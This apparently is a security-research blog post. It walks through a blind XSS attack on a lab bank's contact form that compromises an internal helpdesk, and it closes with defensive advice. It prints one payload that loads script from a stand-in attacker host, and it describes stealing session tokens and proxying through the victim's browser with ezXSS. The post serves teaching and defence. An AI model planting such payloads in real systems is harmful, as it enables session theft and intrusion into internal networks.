XSS Beyond the Perimeter: When Internal Systems Become Attack Surfaces
Summary for readers: Cross-site scripting (XSS) is often treated as a problem that ends at the public perimeter. In reality, customer input does not stop at the landing page. It flows into CRMs, ticketing consoles, and internal dashboards that may never have faced a penetration test. This walkthrough, based on real reports to Defend Iceland, shows how a harmless contact form can compromise the helpdesk staff who read it. To illustrate the chain end to end, we built a Netbankinn-themed lab that mirrors what we see in production environments. The public site is squeaky clean. The internal system is not, and an ezXSS payload turns one support ticket into full access to the staff's browser context.
Cross-Site Scripting in a Nutshell
PortSwigger describes XSS as a client side vulnerability that lets attackers run JavaScript in a victim's browser, bypassing the same origin policy. Once that happens, the attacker can impersonate the user, perform any action the user is allowed to take, and read any data the user can see. The impact depends on the privileges of the compromised user. The three core flavours are:
- Reflected XSS — the malicious script is part of the current request and bounces straight back in the response.
- Stored XSS — the script is saved by the application and delivered to other users later. When the attacker never sees the rendered output, we call it blind XSS.
- DOM-based XSS — the vulnerability lives in client side JavaScript. The script reads untrusted data and writes it back into the DOM unsafely.
Any of these paths can be "blind" when the attacker cannot see the sink. That is the exact angle we exploit here.
Setting the Stage: Our Netbankinn Lab
To keep the demo relatable, we recreated a bank style front page under the Netbankinn brand. In this world there is no web login. Customers use the iOS or Android app for everyday banking. The public site functions as a brochure and offers a single unauthenticated contact form for general inquiries.
From a tester's perspective the attack surface looks tiny. We still run the usual checks for reflected or stored XSS. Nothing comes back. The response simply thanks us and forwards the submission into an unknown backend system. That is where many engagements stop, because the tester cannot see what happens next.
Why "Internal Only" Is a Dangerous Assumption
Reality check from the field: the data does not disappear. It lands in an internal dashboard or ticketing queue where human operators review it. These systems often live behind VPNs or on-premise networks, so they lag behind in hardening work. Common patterns:
- Legacy helpdesk consoles that render HTML without sanitization.
- In-house admin tools that never faced an external audit.
- Email processors that present raw message bodies to staff.
The public perimeter might be flawless while the internal system is left wide open. If that system injects our payload, we own the user who opens it.
Preparing the Listener with ezXSS
Blind XSS needs telemetry. Defend Iceland researchers often rely on ezXSS, so we’ll do the same. We deploy an ezXSS server, generate a payload, and note the unique listener URL.
ezXSS handles the heavy lifting: when the payload fires it reports the victim's URL, IP address, user agent, cookies, localStorage contents, sessionStorage, a DOM snapshot, and a screenshot. Those artifacts prove exploitation and provide plenty of data for pivoting.
Placing the Payload in the Public Form
We write a realistic message about upcoming travel plans and embed the ezXSS hook in the body:
<img/src/onerror=import('//bxss.attackers-server.example')>
The public site validates required fields, thanks us for the submission, and forwards the message to the backend. No visual feedback indicates the attack. At this point we wait for an advisor to open the ticket.
The Internal System Opens the Door
Our Netbankinn lab simulates the internal helpdesk where advisors triage submissions. It is intentionally vulnerable, echoing what we have seen in production.
When an advisor clicks "View message," a modal slides in with the inquiry details. Nothing suspicious about it. The message appears perfectly normal to the advisor.
However, if we open up our browser developer tools we can indeed see that the message body is injected into the DOM without sanitization, payload and all.
The instant that modal renders, the advisor's browser executes our script with their privileges.
Catching the Callback
Now we wait. If the vulnerability exists, our ezXSS server should receive a callback within seconds of the advisor opening the message.
Seconds later our ezXSS server records a hit.
Opening up the record we can see the captured data reveals critical information:
- LocalStorage values seeded in the lab, such as netbankinn.sessionId, netbankinn.authToken, and the CSRF token for the internal system.
- A full DOM capture and a screenshot of the advisor interface.
Even if cookies were hardened, exposed storage items are enough to impersonate the advisor or call internal APIs.
In a real scenario, these tokens would grant access to customer data, internal communications, and potentially other systems accessible from the advisor's session.
Beyond the initial callback: Persistent Sessions and ezProxy
The initial callback is only the beginning. ezXSS includes two features that underline the danger of leaving internal tools unprotected:
- Persistent mode keeps the script alive and relays every GET and POST the victim makes. Attackers can run extra JavaScript, watch console output, and gather more data while the browser stays open. For high-value targets, attackers can leverage this feature to maintain long-term access and pivot deeper into internal systems.
- ezProxy turns the victim's browser into a reverse proxy. Set up the websocket and proxy ports on the ezXSS server, point a browser extension like FoxyProxy at it, and you can browse the internal app as if you were the employee. Even systems hidden behind firewalls become reachable through the victim's session.
These capabilities show how a single blind XSS hit can turn into deep access across internal networks.
Defending Against the Chain
Standard XSS prevention advice also applies for blind XSS payloads:
- Audit internal dashboards. Include them in code reviews and security testing with the same rigor as customer facing pages. If your organization has internal tools that display user-submitted content, audit them first—they're the most commonly overlooked attack surface.
- Filter input at the edge. Enforce strict whitelists for form fields so dangerous characters never enter the workflow.
- Encode on output. Use context-aware escaping (HTML entity encoding, JavaScript escaping, etc.) everywhere user supplied data is rendered, including admin portals and email templates. Trusted libraries like DOMPurify help when rich text is unavoidable.
- Add runtime guards. Apply Content Security Policy, X-Content-Type-Options, and logging around outbound requests to spot unusual activity.
Internal tools that display user-submitted content are the most commonly overlooked attack surface. If your organization uses helpdesk software, CRMs, or admin dashboards that render customer input, these should be in a high priority for security testing.
About Defend Iceland
Blind XSS is one example of a vulnerability type that has been discovered and responsibly disclosed through Defend Iceland's bug bounty platform. Defend Iceland's mission is to strengthen digital infrastructure through collaborative security research. We encourage organizations can test their own internal tools for blind XSS vulnerabilities and other security issues. By working together, we can ensure that both public-facing and internal systems maintain strong security postures.